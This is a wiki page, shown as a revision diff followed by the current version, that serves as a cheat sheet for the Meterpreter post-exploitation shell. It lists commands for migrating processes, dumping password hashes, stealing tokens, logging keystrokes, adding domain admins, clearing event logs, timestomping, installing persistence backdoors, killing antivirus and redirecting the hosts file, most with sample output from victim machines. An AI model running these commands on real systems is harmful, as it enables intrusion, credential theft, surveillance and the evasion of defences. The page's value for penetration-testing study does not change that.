Meterpreter
De Linuxmemo.
(→Scripts) |
(→Scripts) |
||
(5 versions intermédiaires masquées) | |||
Ligne 9 : | Ligne 9 : | ||
Core Commands | Core Commands | ||
============= | ============= | ||
- | |||
Command Description | Command Description | ||
------- ----------- | ------- ----------- | ||
Ligne 32 : | Ligne 31 : | ||
Process list | Process list | ||
============ | ============ | ||
- | |||
PID Name Path | PID Name Path | ||
--- ---- ---- | --- ---- ---- | ||
Ligne 312 : | Ligne 310 : | ||
Reboot the target machine | Reboot the target machine | ||
+ | |||
+ | portfwd | ||
==Extension== | ==Extension== | ||
Ligne 323 : | Ligne 323 : | ||
load espia | load espia | ||
- | + | ||
*backdoor | *backdoor | ||
Ligne 334 : | Ligne 334 : | ||
set PAYLOAD windows/metsvc_bind_tcp | set PAYLOAD windows/metsvc_bind_tcp | ||
exploit | exploit | ||
+ | |||
+ | port 31337 | ||
+ | |||
+ | ==Scripts== | ||
+ | |||
+ | *'''checkvm''' | ||
+ | The 'checkvm' script, as its name suggests, checks to see if you exploited a virtual machine. This information can be very useful. | ||
+ | meterpreter > run checkvm | ||
+ | |||
+ | *getcountermeasure | ||
+ | The 'getcountermeasure' script checks the security configuration on the victims system and can disable other security measures such as A/V, Firewall, and much more. | ||
+ | meterpreter > run getcountermeasure | ||
+ | |||
+ | *getgui | ||
+ | The 'getgui' script is used to enable RDP on a target system if it is disabled. | ||
+ | meterpreter > run getgui | ||
+ | Windows Remote Desktop Enabler Meterpreter Script | ||
+ | Usage: getgui -u -p | ||
+ | OPTIONS: | ||
+ | -e Enable RDP only. | ||
+ | -h Help menu. | ||
+ | -p The Password of the user to add. | ||
+ | -u The Username of the user to add. | ||
+ | meterpreter > run getgui -e | ||
+ | |||
+ | *'''get_local_subnets''' | ||
+ | The 'get_local_subnets' script is used to get the local subnet mask of a victim. This can be very useful information to have for pivoting. | ||
+ | meterpreter > run get_local_subnets | ||
+ | |||
+ | *gettelnet | ||
+ | The 'gettelnet' script is used to enable telnet on the victim if it is disabled. | ||
+ | meterpreter > run gettelnet | ||
+ | Windows Telnet Server Enabler Meterpreter Script | ||
+ | Usage: gettelnet -u -p | ||
+ | OPTIONS: | ||
+ | -e Enable Telnet Server only. | ||
+ | -h Help menu. | ||
+ | -p The Password of the user to add. | ||
+ | -u The Username of the user to add. | ||
+ | meterpreter > run gettelnet -e | ||
+ | |||
+ | *hostsedit | ||
+ | The 'hostsedit' Meterpreter script is for adding entries to the Windows hosts file. Since Windows will check the hosts file first instead of the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single entry can be provided or a series of entries can be provided with a file containing one entry per line. | ||
+ | meterpreter > run hostsedit | ||
+ | OPTIONS: | ||
+ | -e Host entry in the format of IP,Hostname. | ||
+ | -h Help Options. | ||
+ | -l Text file with list of entries in the format of IP,Hostname. One per line. | ||
+ | Example: | ||
+ | run hostsedit -e 127.0.0.1,google.com | ||
+ | run hostsedit -l /tmp/fakednsentries.txt | ||
+ | meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com | ||
+ | [*] Making Backup of the hosts file. | ||
+ | [*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back | ||
+ | [*] Adding Record for Host www.microsoft.com with IP 10.211.55.162 | ||
+ | [*] Clearing the DNS Cache | ||
+ | |||
+ | *'''killav''' | ||
+ | The 'killav' script can be used to disable most antivirus programs running as a service on a target. | ||
+ | meterpreter > run killav | ||
+ | |||
+ | *remotewinenum | ||
+ | The 'remotewinenum' script will enumerate system information through wmic on victim. Make note of where the logs are stored. | ||
+ | meterpreter > run remotewinenum | ||
+ | Remote Windows Enumeration Meterpreter Script | ||
+ | This script will enumerate windows hosts in the target environment | ||
+ | given a username and password or using the credential under witch | ||
+ | Meterpreter is running using WMI wmic windows native tool. | ||
+ | Usage: | ||
+ | OPTIONS: | ||
+ | -h Help menu. | ||
+ | -p Password of user on target system | ||
+ | -t The target address | ||
+ | -u User on the target system (If not provided it will use credential of process) | ||
+ | meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128 | ||
+ | |||
+ | *'''scraper''' | ||
+ | The 'scraper' script can grab even more system information, including the entire registry. | ||
+ | meterpreter > run scraper | ||
+ | From our examples above we can see that there are plenty of Meterpreter scripts for us to enumerate a ton of information, disable anti-virus for us, enable RDP, and much much more. | ||
+ | |||
+ | *'''winenum''' | ||
+ | The 'winenum' script makes for a very detailed windows enumeration tool. It dumps tokens, hashes and much more. | ||
+ | meterpreter > run winenum |
Version actuelle en date du 18 mars 2013 à 15:15
[modifier] meterpreter
(voir metasploit)
- help
The 'help' command, as may be expected, displays the Meterpreter help menu. meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session channel Displays information about active channels ...snip...
- background
The 'background' command will send the current Meterpreter session to the background and return you to the msf prompt. To get back to your Meterpreter session, just interact with it again. meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
- ps
The 'ps' command displays a list of running processes on the target. meterpreter > ps Process list ============ PID Name Path --- ---- ---- 132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 288 snmp.exe C:\WINDOWS\System32\snmp.exe ...snip...
- migrate
Using the 'migrate' post module, you can migrate to another process on the victim. meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter >
- ls
As in Linux, the 'ls' command will list the files in the current remote directory. meterpreter > ls Listing: C:\Documents and Settings\victim ========================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 . 40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 .. 100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel 40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data ...snip...
- download
The 'download' command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path. meterpreter > download c:\\boot.ini [*] downloading: c:\boot.ini -> c:\boot.ini [*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini meterpreter >
- upload
As with the 'download' command, you need to use double-slashes with the 'upload' command. meterpreter > upload evil_trojan.exe c:\\windows\\system32 [*] uploading : evil_trojan.exe -> c:\windows\system32 [*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe meterpreter >
- ipconfig
The 'ipconfig' command displays the network interfaces and addresses on the remote machine. meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0c:29:10:f5:15 IP Address : 192.168.1.104 Netmask : 255.255.0.0 meterpreter >
- getuid
Running 'getuid' will display the user that the Meterpreter server is running as on the host. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
- execute
The 'execute' command runs a command on the target. meterpreter > execute -f cmd.exe -i -H Process 38320 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
- shell
The 'shell' command will present you with a standard shell on the target system. meterpreter > shell Process 39640 created. Channel 2 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
- idletime
Running 'idletime' will display the number of seconds that the user at the remote machine has been idle. meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter >
- hashdump
The 'hashdump' post module will dump the contents of the SAM database.
help
Open Meterpreter usage help
run scriptname
Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory
sysinfo
Show the system information on the remote target
ls
List the files and folders on the target
use priv
Load the privilege extension for extended Meterpreter libraries
ps
Show all running processes and which accounts are associated with each process
migrate PID
Migrate to the specific process ID (PID is the target process ID gained from the ps command)
use incognito
Load incognito functions. (Used for token stealing and impersonation on a target machine)
list_tokens -u
List available tokens on the target by user
list_tokens -g
List available tokens on the target by group
impersonate_token DOMAIN_NAME\\USERNAME
Impersonate a token available on the target
steal_token PID
Steal the tokens available for a given process and impersonate that token
drop_token
Stop impersonating the current token
getsystem
Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors
shell
Drop into an interactive shell with all available tokens
execute -f cmd.exe -i
Execute cmd.exe and interact with it
execute -f cmd.exe -i -t
Execute cmd.exe with all available tokens
execute -f cmd.exe -i -H -t
Execute cmd.exe with all available tokens and make it a hidden process
rev2self
Revert back to the original user you used to compromise the target
reg command
Interact, create, delete, query, set, and much more in the target’s registry
setdesktop number
Switch to a different screen based on who is logged in
screenshot
Take a screenshot of the target’s screen
upload file
Upload a file to the target
download file
Download a file from the target
keyscan_start
Start sniffing keystrokes on the remote target
keyscan_dump
Dump the remote keys captured on the target
keyscan_stop
Stop sniffing keystrokes on the remote target
getprivs
Get as many privileges as possible on the target
uictl enable keyboard/mouse
Take control of the keyboard and/or mouse
background
Run your current Meterpreter shell in the background
hashdump
Dump all hashes on the target
use sniffer
Load the sniffer module
sniffer_interfaces
List the available interfaces on the target
sniffer_dump interfaceID pcapname
Start sniffing on the remote target
sniffer_start interfaceID packet-buffer
Start sniffing with a specific range for a packet buffer
sniffer_stats interfaceID
Grab statistical information from the interface you are sniffing
sniffer_stop interfaceID
Stop the sniffer
add_user username password -h ip
Add a user on the remote target
add_group_user “Domain Admins” username -h ip
Add a username to the Domain Administrators group on the remote target
clearev
Clear the event log on the target machine
timestomp
Change file attributes, such as creation date (antiforensics measure)
reboot
Reboot the target machine
portfwd
[modifier] Extension
- sinffer
load sniffer
- Incognito
load incognito
- espia (screengraber)
load espia
- backdoor
run persistence
- metsvc
run metsvc -h use exploit/multi/handler set PAYLOAD windows/metsvc_bind_tcp exploit
port 31337
[modifier] Scripts
- checkvm
The 'checkvm' script, as its name suggests, checks to see if you exploited a virtual machine. This information can be very useful.
meterpreter > run checkvm
- getcountermeasure
The 'getcountermeasure' script checks the security configuration on the victims system and can disable other security measures such as A/V, Firewall, and much more.
meterpreter > run getcountermeasure
- getgui
The 'getgui' script is used to enable RDP on a target system if it is disabled.
meterpreter > run getgui Windows Remote Desktop Enabler Meterpreter Script Usage: getgui -u -p OPTIONS: -e Enable RDP only. -h Help menu. -p The Password of the user to add. -u The Username of the user to add. meterpreter > run getgui -e
- get_local_subnets
The 'get_local_subnets' script is used to get the local subnet mask of a victim. This can be very useful information to have for pivoting.
meterpreter > run get_local_subnets
- gettelnet
The 'gettelnet' script is used to enable telnet on the victim if it is disabled.
meterpreter > run gettelnet Windows Telnet Server Enabler Meterpreter Script Usage: gettelnet -u -p OPTIONS: -e Enable Telnet Server only. -h Help menu. -p The Password of the user to add. -u The Username of the user to add. meterpreter > run gettelnet -e
- hostsedit
The 'hostsedit' Meterpreter script is for adding entries to the Windows hosts file. Since Windows will check the hosts file first instead of the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single entry can be provided or a series of entries can be provided with a file containing one entry per line.
meterpreter > run hostsedit OPTIONS: -e Host entry in the format of IP,Hostname. -h Help Options. -l Text file with list of entries in the format of IP,Hostname. One per line. Example: run hostsedit -e 127.0.0.1,google.com run hostsedit -l /tmp/fakednsentries.txt meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com [*] Making Backup of the hosts file. [*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back [*] Adding Record for Host www.microsoft.com with IP 10.211.55.162 [*] Clearing the DNS Cache
- killav
The 'killav' script can be used to disable most antivirus programs running as a service on a target.
meterpreter > run killav
- remotewinenum
The 'remotewinenum' script will enumerate system information through wmic on victim. Make note of where the logs are stored.
meterpreter > run remotewinenum Remote Windows Enumeration Meterpreter Script This script will enumerate windows hosts in the target environment given a username and password or using the credential under witch Meterpreter is running using WMI wmic windows native tool. Usage: OPTIONS: -h Help menu. -p Password of user on target system -t The target address -u User on the target system (If not provided it will use credential of process) meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128
- scraper
The 'scraper' script can grab even more system information, including the entire registry.
meterpreter > run scraper
From our examples above we can see that there are plenty of Meterpreter scripts for us to enumerate a ton of information, disable anti-virus for us, enable RDP, and much much more.
- winenum
The 'winenum' script makes for a very detailed windows enumeration tool. It dumps tokens, hashes and much more.
meterpreter > run winenum